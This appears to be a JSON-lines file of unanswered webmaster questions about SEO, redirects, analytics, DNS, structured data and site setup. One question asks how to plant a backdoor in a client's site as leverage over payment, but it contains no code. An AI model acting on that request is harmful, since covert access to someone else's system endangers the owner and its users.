{"id":"36321","title":"Powermapper alternatives and Google Analytics?","text":"What is a good application to map the hierarchical structure of a website and maybe get some Google Analytics action going on? Powermapper is pretty expensive and the trial version didn't seem particularly good at importing Google Analytics CSV files as advertised. In fact, out of the 1000 pages mapped, exactly 0 were successfully imported. I don't really need all the features Powermapper offers anyway, so the price tag is a bit much. All I really need is like, a simple visual representation of my (automatically generated) site structure (like a hierarchical site structure) and the ability to integrate my Google Analytics stats (page views mostly) with it."}
{"id":"35154","title":"How can I inform search engines that the usefulness of some content on my site has a limited shelf life?","text":"Let's say that I run a forum dedicated to computer hardware. Naturally, people are going to ask questions like: > What is the best laptop for running [os] Or > What is the best video card for under [amount] These may be perfectly fine discussions, but the content loses usefulness over time. An answer to either question asked in 2007 might still be relevant in 2008, but definitely not in 2012. Is there a way that I can tell search engines that certain pages might not give visitors what they're looking for after a certain date, and perhaps hint to a page on my site that _would_ provide good information? Perhaps something I could set in HTTP response headers, meta tags or even a site map?"}
{"id":"66994","title":"Is it bad SEO practice to have two almost-identical URLs?","text":"On my blog, after coding a function which trims stop words, I ended up with these two URLs which are identical if not for the post ID: http:\/\/www.example.com\/europe\/france\/597\/june-weather-update http:\/\/www.example.com\/europe\/france\/997\/june-weather-update My platform - Wordpress - adds \"-1\", \"-2\", \"-3\" to the URLs when this happens but I removed it in my function. Now as I will have weather updates every year, it will be common for two or more links to be pretty much the same. Would this cause any SEO issues? Please note that the content of the two pages is completely different, not related to each other."}
{"id":"20534","title":"How much more or less value is placed in tailored meta tags?","text":"I just built and released a site for someone. He has an SEO firm working for him. They made a really big stink about the meta tags not being completely customizable on a page by page basis. Yes, the meta tags are tailored to each page, but the tags are built on existing database data. Here's how our meta tags are created: Home page Title = \"Set in a single field in the db.\"; Description = \"Set in a single field in the db.\" Keywords = \"Set in a single field in the db.\"; Brand page Title = \"Specific Brand\" + \"Home page title\"; Description = \"Specific Brand\" + \"Home page description\" Keywords = \"Specific Brand\" + \"Home page keywords\"; Model page Title = \"Specific Brand\" + \"Specific model\" + \"Home page title\"; Description = \"Specific Brand\" + \"Specific model\" + \"Home page description\" Keywords = \"Specific Brand\" + \"Specific model\" + \"Home page keywords\"; Each site is about a specific product type. Pages are broken down by brand and then model. So, each page page is exceedingly similar content, plus brand and model specifics. Here are the working sites: http:\/\/i-treadmillreviews.com\/ http:\/\/i-ellipticalreviews.com\/ http:\/\/i-exercisebikereviews.com\/ My question is how much more or less value would a page have if it had more tailored meta tags for this specific set of sites?"}
{"id":"48578","title":"How should creative commons attribution for images be shown?","text":"Clicking through from Flickr to the CreativeCommons.org definition for \"Some Rights Reserved\" you find that you can reuse an image as long as you provide attribution.  If we want to use the image in a website how should we provide attribution? And does it have to be visible to the casual observer? Should\/can it be: * as an HTML comment _(not immediately visible)_ * in the file name _(not immediately visible)_ * in the ALT tag _(more visible)_ * as a full blown caption inside or below or across the picture _(easily visible)_ **Edit** An additional possibility has occurred to me: * Put a small Images by Joe Photos, Andy Archer etc credit in the footer (visible but not distracting) Or should it be something else? Have I misunderstood the attribution thing?"}
{"id":"58065","title":"Is it permissible to copy content from social networking sites?","text":"For a social page on Twitter or Google Plus that promotes tourism by renting a car in worldwide locations, will it count as a negative if we copy the content from an authoritative website? For example, copying the exact lines from some website to promote our service in a particular location via that social page (that sends various backlinks to our website)."}
{"id":"56693","title":"Google site search: customizing with rich snippets","text":"I am considering adding Google site search to my eCommerce site. However, I wanted to have the results displayed as nicely as possible, ideally with an image. Is it possible to have rich snippets displayed in your Google site search? If so, does it matter if your domain doesn't have a high enough authority to show rich snippets in the SERPs?"}
{"id":"59811","title":"external CSS file or CSS added to head via code?","text":"I am building a website that uses a custom CMS. I am seriously considering not using external style sheets and adding all of the required CSS to the head of the pages that as needed (using PHP and include files). I am having a really hard time coming up with reasons not to do this. Here is my benefit list: * CSS rules are completely loaded with the original page, no additional requests. * The same CSS injection code and be used for both HTML emails and pages (!!!) * CSS can be effectively changed\/managed via code (just like LESS). * Classes and id's can be managed with variables\/arrays. * Better management of unused CSS rules. * Possibly rendered faster? * CSS would still be separated into individual pages on the server. * ...Or stored in a database. Am I on the right track here or is this a serious mistake?"}
{"id":"54045","title":"Is it safe to leave the Joomla setting \"Preview Module Positions\" enabled?","text":"Using at least Joomla 2.5 and 3.1. Under the template manager options the setting \"Preview Module Positions\" must be set to \"enabled\" for previews to work. My question is, why isn't this feature always on? Is it a security risk to have it enabled on a live site? Does it slow the site down? Since the template manager is an administrator component, I wouldn't think it would be a problem, but I can't see any other reason to offer this option. Thanks!"}
{"id":"34543","title":"Traffic fall after a server problem","text":"I have a website from which I analyse the traffic with Google analytics. Day after day the traffic (mainly from Google SE) incresed until I get a problem with my server. For one day the server has been offline and after that I have no longer had as much users as I had before. Now it's like the site is no more referenced on Google index (but when I type \"site:mysite.com\", I still have all the results). Do you know if this is a normal behaviour and if the traffic will come back as before (the server has had problems two days ago) ?"}
{"id":"7270","title":"Are there any guidelines for laying out screen \"real estate?\"","text":"I'm wondering if there is any information about creating a decent page layout so that your website will appeal to users of all resolutions. For example, the optimal width for pages. It seems like on my resolution, most websites have their content centered and covers about 80% of the page, which is easy on the eyes. Or maybe the height of the website's logo\/header -- some sites I stumble upon have a huge logo with links or navigation under it, making it so that I need to scroll down to see the actual content, like articles or images (these sites don't keep me for very long). I understand that every user is different and may have browser extensions, page zoom or may be running some ancient system that displays in 640x480. I'm not looking for a \"best\" solution, but rather, some guidelines about designing to accommodate different resolutions. Basically, how can I make sure that I don't design a page where a paragraph might display in several easy-to-read lines on my resolution, but it turns into a single line on a 1920x1080 resolution and makes it hard for the user to follow?"}
{"id":"7276","title":"what design tips would you give any designer to make the website popular and memorable amongst its users?","text":"When designing a website that is targetting large number of consummers, what design tips would you give any designer to make the website popular and memorable amongst its users?"}
{"id":"7275","title":"Do you write HTML by hand or do you use a WYSIWYG editor?","text":"...or maybe a combination of both?"}
{"id":"34541","title":"How to target a particular image from multiple images on a page in google plus post","text":"I have multiple images on my page. But I want only one image to be displayed in the google post. At present the post shows all the images on the page in the post in the form of slideshow. Could you please provide a solution for this?"}
{"id":"54436","title":"Allow users to delete or answer Facebook comments on my website or from Facebook","text":"I am creating a website, something like business directory. I want to allow my users to have Facebook comments on the pages. I read that I should connect their comments with their Facebook ID so they can be allowed to delete them. I wanted to know, can my users answer or delete those comments directly from Facebook, or must they be only on my website to answer?"}
{"id":"60418","title":"Why doesn't Webmaster Tools update crawl errors?","text":"I submitted a sitemap with incorrect URLs. After a few days I looked at Webmaster Tools crawl errors and I saw 1000's of URLs with not found errors. So I went and fixed the problem with the URLs and resubmitted the sitemap. The problem is that Webmaster Tools is still showing me the same **old** not found errors. 1) I know that the URLs in the updated sitemap are ok 2) I can see that the date of the not found error URLs corresponds to when the problem was. Now I tried using the \"mark as fixed button\" - but that only lets me select the first 1000 URLs, and then it shows an empty list.... and I have about 40,000 not found URL errors. "}
{"id":"15891","title":"Why don't I have a loop error with these redirects?","text":"I know this may seem a bit of a question in reverse, but I actually _don't_ seem to have a problem I just want to make sure before I proceed. I have 2 domains `domain1.com` and `domain2.com` and a directory `my_directory` at `domain2.com`. I have `domain2.com` setup as an \"add on domain\" in the cpanel account of domain1.com so that when I go to domain2.com I am taken to domain1.com\/my_directory but the browser shows domain2.com in the addressbar so it looks and acts like and is a separate site. However when people browse to `domain1.com\/directory` I want the address bar to show `domain2.com` _not_ `domain1.com\/directory`. So I put a redirect in the htaccess file to redirect `domain1.com\/directory` to `domain2.com` and it works perfectly, but I think it shouldnt and I'm worried I've done something wrong. My question is this: domain2.com was already redirected to domain1.com\/directory in the first place (I see the redirect in my cpanel under addon domains) so by adding the second redirect in the htaccess file I should be creating a loop! Could somebody please set my mind at rest and show me why not?"}
{"id":"15893","title":"Tricky mod_rewrite challenge","text":"I list about 9,000 records on my little site. At the moment I'm showing them with a dynamic page, like http:\/\/domain.com\/records.php?id=019031 But I'd like to start using meaningful URLs like this one on Amazon http:\/\/www.amazon.co.uk\/Library-Mythology-Oxford-Worlds-Classics\/dp\/0199536325 where the title string on the root level gets ignored and requests are redirected to the records.php page, which accepts the ID as usual. Does anybody know how I could achieve that with mod_rewrite? I'm wondering how I'd deal with requests to my other root-level pages, like `http:\/\/domain.com\/contact.php`, that I don't want to redirect to the records page."}
{"id":"41114","title":"How much traffic is needed to effectively conduct split testing?","text":"A friend who's asking me for advice about getting more customers from his website (SEO, conversion rate, some other stuff), thinks he should finish getting a good conversion rate with split testing before spending money on Pay-Per-Click programs like AdWords. From what I've heard, you're supposed to use the traffic gained to test accurately. He wants to know why 100 visits\/day isn't enough. Is it?"}
{"id":"41115","title":"Legality of screenshot of another website","text":"I wanted to write a blog post about a common feature of some popular websites. To illustrate, I'll need to take screenshot, crop and shows the specific features that's I'm referring to. I wonder if that's legal? Do I need to inform the webmaster for each of the site before I publish my post? A second question is that since my focus is that specific feature, so I guess I should blur out the content of the screenshot, or I shouldn't alter anything?"}
{"id":"41110","title":"Site cannot be found in Google","text":"I've made a site for a friend, and here's the url: http:\/\/mensasana.it Issue: There is no trace of it in google. He used to have an html site, and at least it was indexed. I changed it to a Wordpress site, and after 20 days, all results are gone. I mean, if you look for site:mensasana.it you get no results at all. So, a few days ago I've submitted sitemap, checked that robots.txt is correct, checked with lynx browser... al is good. I tried to add a listing in Google places, and when I have to enter the sitename, I get: Website is incorrect http:\/\/mensasana.it\/ What am I missing?"}
{"id":"48793","title":"How to redirect IP to domain?","text":"My IP _xxx.xxx.xxx.xx_ is pointing to `example.com` at GoDaddy but I just noticed that when I type the IP in browser, it doesn't redirect to the website, how can do this? I am sure this will happen through _httpd.conf_ but unsure about what I need to add."}
{"id":"10555","title":"Short URL management software to host internal url shortening","text":"Does anyone know of any management software for hosting our own short url service for internal use? Our marketing group wants this for Twitter and etc. so that we can push our brand. We have both windows and linux servers where we can host. ***Addtional info: Yes we want to do ourname.com\/hkjl45 instead of going to bit.ly or tinyurl."}
{"id":"29310","title":"Is there any research into error rates on websites?","text":"My organization runs a reasonably large web application, which occasionally has errors (although not as often as you would think from dealing with bug duty). I was wondering if there is any research into acceptable and\/or best practices for error rates on large websites, from either a usability perspective, or whether there is information publicly available for any other large sites. And \"no errors ever\" is not the answer I am looking for. :-)"}
{"id":"57861","title":"Schema.org and Person's logo instead of image\/photo","text":"I want to mark up someone's website with Microdata, so I was going to use her name and logo using schema.org's Person vocabulary. However, there is no such a thing I could use for her logo type. She doesn't have (or want) a picture on the website, so I will use her logo instead. Is the `itemprop=\"photo\"` appropriate for this case? I found this \"photo\" thing here but it is not defined on `schema.org`."}
{"id":"63219","title":"Schema.org for Product Reviews","text":"I have a product reviews on a site and I am adding schema.org markup to the reviews. Here is the code I am using: <div class=\"blockquote-wrap\"> <blockquote itemprop=\"review\" itemscope itemtype=\"http:\/\/schema.org\/Review\"><span itemprop=\"reviewBody\">Text of the review itself.<\/span> <cite><span itemprop=\"author\">Author Name<\/span>, Location of Author<\/cite> <\/blockquote> <\/div> This is all the reviews are. When I test the page using Google's Structured Data Testing Tool I receive this error: Error: Incomplete microdata with schema.org. My question is what data is missing that is required? I don't see which data is required on the Schema.org page for reviews."}
{"id":"8823","title":"DNS problem, old dns servers are not going away","text":"I have a website, and I changed the nameservers of the domain of my site, now people see it with my new nameservers however I still see the oldnameservers (Which are sedo's nameservers). I tried ipconfig\/flushdns it works and clears the caches, however when I enter the domain the cache restores back with the old nameservers. What should I do ?"}
{"id":"8821","title":"SimpleViewer + lightbox","text":"Is it possible to integrate any kind of Lightbox with SimpleViewer? But I **don't want** to display SimpleViewer in Lightbox. I want to Lightbox show when I click on one of the images in SimpleViewer. Does anyone tried that with success? **EDIT** I have a SimpleViewer page now. I just want to bind handler to clicking an image (as normally in HTML based pages), fetch big image url and show that image (not SimpleViewer!) in Ligthbox\/ThickBox\/FancyBox etc."}
{"id":"8826","title":"Google Analytics setup for 3 related blogs","text":"I have 3 distinct blogs. They are powered by Wordpress Multisite http:\/\/blogs.crocus.co.uk\/kitchengarden http:\/\/blogs.crocus.co.uk\/chelseaflowershow http:\/\/blogs.crocus.co.uk\/plantsmans What I want to do is set up Goolge Analytics to track them What would be the best way to do this? A separate account for each? A \"Blogs\" account, with different profiles... etc..?"}
{"id":"8827","title":"Is it allowed to use one frame of a hollywood blockbuster on my website?","text":"I want to build a website where users can upload screenshots from movies. Does anybody knows if this is (il)legal? I'm living in europe\/germany."}
{"id":"18919","title":"Rewrite Issue on index.html","text":"I have `index.html` on my `html_directory` on my website also I entered a rule as follows: RewriteRule ^index.html$ newindex.php It seems requests to my site is routing to my index.html file , my questions are: 1. Do I need to have index.html file on my `public_html` directory or I can remove it? 2. Is my rewrite rule correct? 3. Based on my rule on `.htaccess` which page is open : `index.html` or `newindex.php`?"}
{"id":"18916","title":"How to do with out-of-date or expired pages","text":"I have a \"classified advertisement\" website that user can submit their advertising posts on it. Each post will be valid for 3 weeks. After then the post will become \"expired\". Expired posts will not be physically removed, we just remove the link between the website and the post. So users cannot find the expired posts from the website, but they can find the expired posts if they type in the URL of the post directly. After the post become expired, users can create another new post with content same as the expired post so as to extend the advertising period of the posts. I have to allow this. My problem is, google will index the expired posts and the new posts, and is reporting duplicated content found on the website. So what's the best practice to remove the expired content from search engines?"}
{"id":"33666","title":"Fixing validator error \"cannot generate system identifier for general entity\"","text":"The W3C validator shows a \"cannot generate system identifier for general entity\" error when attempting to validate a page that contains the following code: <script type=\"text\/javascript\" src=\"http:\/\/view.light-speed.com\/teamspeak3.php?IP=85.236.100.27&PORT=27617&QUERY=20274&UID=506987&display=none&font=12px&background=transparent&server_info_background=transparent&server_info_text=%23640d04&server_name_background=transparent&server_name_text=%23640d04&info_background=transparent&channel_background=transparent&channel_text=%23640d04&username_background=transparent&username_text=%23640d04\"><\/script> How do I get the validator to ignore this code when testing for errors?"}
{"id":"33663","title":"How to include high resolution version of thumbnail","text":"I'm running a tube site that has a thumbnail for each post\/video (running via Wordpress, 500k posts). When I first created the thumbnails they were a fairly large size, around 640px in width each and because of that I was seeing a lot of traffic from Google Images. After streamlining the site and resizing all of the thumbnails down to 170px rather than scaling them down I'm worried that Google isn't going to rank the images as high as they would be at a larger resolution, so is there a way to include the higher res versions and serve them to be indexed instead of the smaller ones?"}
{"id":"18265","title":"Association badges improve conversion rates?","text":"Has anyone experienced a conversion rate improvement based on association badges\/images ? I.E. Badges like BBB association logos, that they're a trusted vendor of x, etc?"}
{"id":"18910","title":"setup test domain ready for site launch","text":"I'm about to launch a site on a live server, after developing it with xampp on localhost. I first want to test the site before i make it live. How do i setup this up so I have it in a subdomain (i.e. test.livesite.com)? Is it just set it up on the server and only add the cname dns setting? Or is there a better way? All i am trying to do is add my site to the server, so i can edit it and look at it before I set it as live."}
{"id":"18267","title":"Is there anyway I can check the load time of a webpage in cpanel?","text":"I found that sometimes my website is slow, and I suspect that this is the web host's problem. But the web host insists on that the website is fast. The problem, I suspect, is that the website is fast sometimes, and slow most of the time. The people at web host would just measure the load time of a webpage when the page is responding fast and tell me that there is no problem at their end. So, I am thinking about capture the load time for every webpage request, I am not sure whether is this information already available in cpanel ( I am using cpanel)? If yes, how can I get it?"}
{"id":"15099","title":"SEO script\/link to another website","text":"I am improving my centralized CMS system design. Till now, all the CSS, images, javascript were loading from the central domain name, i.e. domain a.com, c.com, d.com CSS\/JS\/images loads from b.com. I was wondering whether this have any effect on the SEO? as in, pagerank, backlinking."}
{"id":"30648","title":"Is it possible to transfer a domain without a \"gap\" in Whois privacy protection?","text":"I currently own several domains on which I am using a Whois privacy protection service to hide my personal details. In the near future, I would like to transfer some of these domains to a different registrar. It has been many years since I last performed domain transfers, so I am no longer knowledgeable about what it involves. However, I have read from several registrars that they ask their customers to disable Whois protection before effecting a domain transfer. Since there are several websites out there that publish archived versions of Whois information (and ask handsome money for the information to be hidden, of course), I would prefer to avoid having such a \"gap\" in my privacy protection. I figured that these websites would fetch Whois information mainly when a query is effected through their own website. However, I have found out that at least one of these sites had a copy of the Whois information for a new domain up on their site within hours after I registered it, so they must have some other source (of course I used a Google search to find that out, not their own site). What that tells me is that the time it takes for the domain transfers to go through would be more than enough for these rogue websites to cache my information. If my new registrar offers privacy protection for domains right from the point of registration as well, is there no way to transfer the domain between the two without reverting to my default Whois information in between?"}
{"id":"56354","title":"How do I get thousands of PDF files \"found\" by google search","text":"I have approximately 5,000 PDF files in 4 different categories on our Joomla website that are currently only accessible by via a PHP\/mySQL seach script. The filenames (which are numbers) and file locations are stored in a mySQL db and there is a simple PHP script that sends the query and returns a hyperlink to the correct file. The seach is based on a user typing in a number which corresponds to the filename (people using this will know what the number represents - it's a legal case number). I'd love for the files to be accessible via a google search but I'm not clear about how to make google find them. Should I just create a text page for each of the 4 categories which contain the links to each of the files and make those easily accessible by google's search?"}
{"id":"30318","title":"Is a 404 on a non displaying files a problem","text":"One of my clients web pages has a error in the theme which calls a redundant .css file that does not exist. The page however, looks fine. Thus the client is not willing to have the error fixed. What reasons can be given for fixing the error when it does not cause any issues with the page display."}
{"id":"30316","title":"Cookies Audit help","text":"Someone can explain to me what is the purpose of these cookies? I'm doing a cookies audit and I didn't find anything on the web Domain: google.com(google maps), Name: NID Domain: google.com(google maps), Name: SNID Domain: google.com(google maps), Name: khcookie Domain: google.com(google maps), Name: PREF and Domain: tripadvisor.com, Name: ServerPool Domain: tripadvisor.com, Name: TAReturnTo Domain: tripadvisor.com, Name: TAUnique Domain: tripadvisor.com, Name: v1st Thank you very much, Gino"}
{"id":"8773","title":"Google analyzing URL","text":"We all know Google analyzes URLs in order to get relevance. That's why JavaScriptoptimizer.com hits the first place for the \"javascript optimizer\" query. These are my questions: 1. Does Google differentiate between keyword.com and keyword.info? 2. Also does a .info website get less points?"}
{"id":"34367","title":"URL rewriting via forward proxy","text":"I have an app that runs inside my firewall and talks out to multiple end points via HTTP\/HTTPS on a non-standard port e.g. `http:\/\/endpoint1.domain.com:7171`, `http:\/\/endpoint2.domain.com:7171` What I want to do is route these requests through a forward proxy that then rewrites the URL to something like `http:\/\/allendpoints.domain.com\/endpoint1` (port 80 or 443) then on the other end have a reverse proxy that unwinds what I did on the forward proxy to reach the specific endpoints. The result being that I can route existing app requests through to specific endpoints across the internet without having to change my app software. My questions are: 1. is this even possible? 2. is it a good idea, are their better ways to do this? 3. Can this be done with IIS and Apache as the proxies?"}
{"id":"7643","title":"Embedded youtube video does not show in IE8 64bit","text":"When embedding a youtube video on my website, i get a box with a red 'x' in Internet Explorer(64 bit) Any ways to fix this?"}
{"id":"55167","title":"www.mysite.com\/ and www.mysite.com\/index.html dupe content?","text":"I am running a static web site via Apache. So, if you visit http:\/\/www.mysite.com\/products, http:\/\/www.mysite.com\/products\/, and http:\/\/www.mysite.com\/products\/index.html, you see the same thing. Will this result in dupe content, from Google's perspective? Should I htaccess redirect http:\/\/www.mysite.com\/products and http:\/\/www.mysite.com\/products\/ to http:\/\/www.mysite.com\/products\/index.html? I have DirectoryIndex set to index.html. Further, I have the following meta tags in place: On the home page: <link rel=\"canonical\" href=\"http:\/\/www.mysite.com\/\" \/> On the products page: <link rel=\"canonical\" href=\"http:\/\/www.mysite.com\/products\" \/>"}
{"id":"7647","title":"PSD to CSS Service","text":"Does any one here recommend online services where I can have my PSD (or other image format) design sent and they give me the HTML+CSS of it? I saw a few of those on the internet, but I am looking for tried-and-tested services, and to see if there are any of those that you guys recommend me to stay away from."}
{"id":"7645","title":"If an visitors IP address contains \"google\" or a similar keyword, does this mean they were a crawler?","text":"I have a huge list of IP addresses recorded from various visitors to a website. A huge amount of the visitors, in some months over 70%, came from IP addresses that contained keywords such as google, yahoo, bot, crawler, etc. Does this mean that those users were infact search engine crawlers? If so, why are their so many crawlers in my visitor records in comparison to genuine human visitors? (and if not what's the explanation?) Thanks in advance. UPDATE Here's a few examples of the data: > livebot-65-55-209-133.search.live.com > > crawl2.cosmixcorp.com > > crawl-66-249-70-78.googlebot.com > > lj511965.crawl.yahoo.net > > lj611054.inktomisearch.com > > ss125.dal0.gigablast.com > > crawl-15.cuill.com"}
{"id":"7649","title":"What is the Best Ad Network for a Flex Website?","text":"Can anyone recommend an ad network for a Flex website other than OpenX and Mochi Ads. I desperately need to get some ads on my site. Any advice?"}
{"id":"39433","title":"How do I delete a goal in Google Analytics?","text":"I am picking up a client's Analytics account and they have a large number of Goals set up that I want to delete. They don't hold meaningful data since the client misunderstood the nature of goals. I can't see an option to delete a goal. Can someone show the best way to wipe these Goals and start again?"}
{"id":"52989","title":"Creating a backdoor in (your own) PHP website","text":"I've just built a website for a client and I'm a bit worried he won't pay me once it actually goes live. I've heard there are ways to create a back-door so I could access the website whenever I want. Can anybody point to where I could learn to do this?"}
{"id":"51476","title":"Value of links on negative review pages","text":"A general assumption with SEO is more links = higher rankings. What I would like to know is does Google know what those links are referring to. I.e. if somebody gives a product a good review on their personal blog and links the review to another companies website (who are selling the product), would Google take consideration for the review\/description link. Essentially would Google know that this link refers to a product. So if somebody is looking to buy a product, Google would know to include this page because the previous link said it sells products rather than just having information on products. Then to take this further, does Google know if a link is positive or negative. For example, If somebody creates a post saying, do not visit `example.com`, `example.com` is bad because of blah blah blah. Would Google know that the link is getting bad feedback and therefore would it have a negative affect on rankings, or would Google go oh its just another link and give it better rankings?"}
{"id":"52322","title":"Best web environment for running python powered website","text":"I am new into python programming. 1st is was a php developer. Learnt php by poking around the internet. now in my collage course most of the course are based on python or java. So i thought to Get myself into python. As i am new into python web development i noticed that there are many ways to do this job like doing CGI code, use mod_python in apache , use a MVC framework like Django etc. As i developed a php chatting server for my collage usage it received more then 1000 page requests per second. Now i want to convert my php project into a python website. So, What technology should i use? Which one is more fast? Secure? Please tell me which one to use and explain me why?"}
{"id":"47403","title":"SEO duplicate content","text":"I have a blog about a game. Lets say that the game releases some news and gives it to _Blog A_ and _Blog B_. Now my blog ( _Blog A_ ) will copy that news and paste it in an article. Somebody else's blog ( _Blog B_ ) will now also copy that news and paste it in an article. Would this result in a duplicate content penalty between _Blog A_ and _Blog B_?"}
{"id":"1740","title":"Subdomains or folders?","text":"I'm working on a services type web application and I have to choose how to set up the URLs for the customers. Which solution is better, as a subdomain (e.g.: client.myservice.com) or as a folder (e.g.: myservice.com\/client\/) ? I'm not interested in the SEO value (for the SEO it's better to choose the folders), but the tech\/scale\/admin aspects. Thanks!"}
{"id":"47405","title":"How can I pass referrer header from my https domain to http domains?","text":"My website is 100% https. I have links to other http domains. The referrer header is not set when linking from a https page to a http page. From http:\/\/en.wikipedia.org\/wiki\/HTTP_referrer > If a website is accessed from a HTTP Secure (HTTPS) connection and a link > points to anywhere except another secure location, then the referer field is > not sent. I would prefer that other domains _can_ see the referrer so that they know that traffic comes from my domain. Is there a way to force this header or is there another solution? ### Update I've done some basic testing using a redirect: http page -- link to http --> 301 redirect --> http page = referrer intact https page -- link to https --> 301 redirect --> http page = referrer blank https page -- link to http --> 301 redirect --> http page = referrer blank https page -- link to http --> 302 redirect --> http page = referrer blank The referrer is lost when linking from a https page to a http redirect page on my own domain. So there is no referrer on the redirect."}
{"id":"54167","title":"Is a 302 redirect to a random URL from the homepage an SEO problem?","text":"I originally posted this on Stackoverflow, but I believe here is a better place to ask. My web application is very similar to notepad.cc which redirects to a randomly generated URL upon access, e.g. `http:\/\/myapp.com\/roTr94h4Gd`. (Please note that notepad.cc is not my site.) Probably because of this redirect feature, when I do \"fetch as Google\" or \"fetch as Bingbot\", I get a 302 and no html content. Not even a `<html><\/html>` tag. HTTP\/1.1 302 Moved Temporarily Server: nginx\/1.4.1 Date: Tue, 01 Oct 2013 04:37:37 GMT Content-Type: text\/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP\/5.4.17-1~dotdeb.1 Set-Cookie: PHPSESSID=vp99q5e5t5810e3bnnnvi6sfo2; expires=Thu, 03-Oct-2013 04:37:37 GMT; path=\/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: \/roTr94h4Gd How should I avoid 302 in this case? I suppose I could modify my site to prevent the redirect, but it is a necessary feature of my web app to generate a random URL on each access. I added `<meta name=\"fragment\" content=\"!\">` tag into my index page and set it to return a static snapshot of my page when the flag is set. But this still returns a 302. I also added a header to return 200 before redirecting, but this had no effect, either. Could someone tell me a good suggestion to solve this problem?"}
{"id":"28196","title":"Getting away from a customized Magento 1.4 installation - Magento 1.6, OpenCart, or others?","text":"I'm dealing with a Magento 1.4.0.0 Community Edition installation with various undocumented changes to the core (mostly integration with an ERP system), an outdated Sweet Tooth Points & Rewards module and some custom payment providers. It also doubles as a mediocre blogging\/CMS system. It has one store each for 3 different languages, with about 40 product categories for a few hundred products. The client is planning to redesign the site, and is considering upgrading to Magento 1.6 or 1.7 if it has improved from 1.4. The client is also open to other e-commerce systems. I've looked at OpenCart and it seems to be quite developer friendly with a fairly simple structure. I found some complaints regarding its performance when the shop has thousands of categories or products, but this is not an issue with the current number of products my client has. It seems to be solid ground for easy customization to bring the rewards system and ERP integration over. What should the client upgrade to in this case, are the newer versions of Magento genuinely better or should I consider another system entirely?"}
{"id":"48106","title":"\"Included\" search phrases in URLs\/titles\/H1s and SEO","text":"When designing a new URL\/folder structure for our website, we faced one interesting problem related to choosing best keywords from SEO perspective. We call it \"included search phrases\". It will be simple to explain it using the following example. We develop and sell software development components, and one of them is an ActiveX grid control. We definitely know that \"activex grid\" and \"activex grid control\" are two best phrases we should use for SEO. And as you can see, one phrase includes the other one. But the dilemma is the following: what is the best phrase for the home page for the product? I.e. ourdomain.com\/activex-grid or ourdomain.com\/activex-grid-control? (sure, we will use the corresponding phrase \"AciveX Grid\" or \"ActiveX Grid Control\" in the title\/H1) Can anybody tell us, will it have the same effect for Google ranking when the user searches for \"activex grid\" if we use \"activex grid control\" for the product home? In other words, do we dilute the strength of the \"activex grid\" search phrase when using one more word (\"control\") at the end?"}
{"id":"38596","title":"Paid Website Code Review","text":"I have written a pretty extensive webapp and it is going to go live in the next fews weeks and before I really publicize it I want to get some professionals to review it for optimization and best practices. Is there any online service or way to find local software engineers who would be willing to do this? Just to give some specifics that may be helpful, my site is on Google App Engine and written in Python and it is tough to find someone with extensive experience in that area."}
{"id":"35893","title":"Using Amazon S3 has increased the page load time? Why?","text":"I am optimising the page load time for my site. After a bunch of changes, the load time had decreased. As suggested by a lot of people, I decided to use Amazon's S3 to store and serve my static content. This increased the page load time by almost a whole second. Why does this happen and how can I optimise the same?"}
{"id":"44894","title":"Domain Alias with forward in plesk","text":"I need to create a domain alias `alias.domain.com` to forward http to `www.domain.com`. It has to be a forward and not a redirect (I was told it can be done by creating CNAME). Note I am using Plesk and creating a domain alias in plesk creates an A record not a CNAME. Any thoughts please?"}
{"id":"3304","title":"How to register a .eu domain?","text":"I want register a domain under the .eu TLD, but I don't live in Europe [which is a requiriment to that]. I'd like to know if there is any website which register the domain on its name or any other solution."}
{"id":"52050","title":"Base top level domain name search not showing up in Google","text":"We've had a few occasions over the years where certain domain names just won't show up in Google. Let me give an example: Let's say I have a domain that is called www.mybusiness.com. I search for mybusiness.com in Google and that domain pops up as the first result. Now, if I remove the .com part and run the search again, the domain disappears completely from the SERP. The site has a sitemap.xml file generated, we've linked up Google webmaster tools and have verified the site, it has the necessary meta tags in too and we've also tweaked page titles to the desired lengths. Some thoughts we had were: * The domain is just very young and will start showing up organically over time. Not really an option for clients though. :) * There's not enough substantial content on the home page to make the site rank organically? * Too few links to the site? * Extremely generic name or foreign language in the domain? I'd appreciate any feedback or insight."}
{"id":"58516","title":"Does \"Service Provider\" dimension correspond to \"ISP Organization\" filter in Analytics?","text":"I'm trying to create a filter based on \"Service Provider\" dimension (Audience > Technology > Network), but there is no such filter field, only \"ISP Organization\" (and there is no such dimension in return). Do those two mean the same?"}
{"id":"14412","title":"embed linux console in website\/using web language to communicate with fedora\/linux server","text":"I have some problem here as I want to build a website which able to communicate with fedora server to create account. The website will be something like this * user will access an IP to access the website * website is running in window web browser eg. IE, mozila * the website will allow user to key in their own ID, username and password to create their user account So, what I think will be is there any web language to communicate with linux\/ run linux command eg. mkdir, useradd??? The webpage need to written in what web language in order to support the requirement??Any link for reference is appreciated Thanks in advance."}
{"id":"54026","title":"Submitting vBulletin Sitemap to Google","text":"I'm using Google Webmaster Tools to get my forum out there, and when I go to submit the sitemap I get the following error: > Your Sitemap appears to be an HTML page. Please use a supported sitemap > format instead. I've gotten this on numerious directories and files. I thought `\/public_html\/forums\/store_sitemap` would do it, but I got two of the exact same error message. I've even tried downloading and uploading a _sitemap.xml_ document, but it gave me the same thing. It's the same error message for everything. I'd like to keep this as automated as possible since vBulletin can generate a new sitemap upon my choosing."}
{"id":"10648","title":"Which registrar checks the most domains?","text":"When I want a new domain, I usually use GoDaddy to check, and another registrar to register. This is because GoDaddy check my wanted domain against the most TLD's. Are there any other sites\/registrars that checks against more TLD's? What I want is to type my wanted second-level domain.. Ex: bobsplace. And then it searches through bobsplace.com bobsplace.net bobsplace.me etc, and reports back to me which is availible or not"}
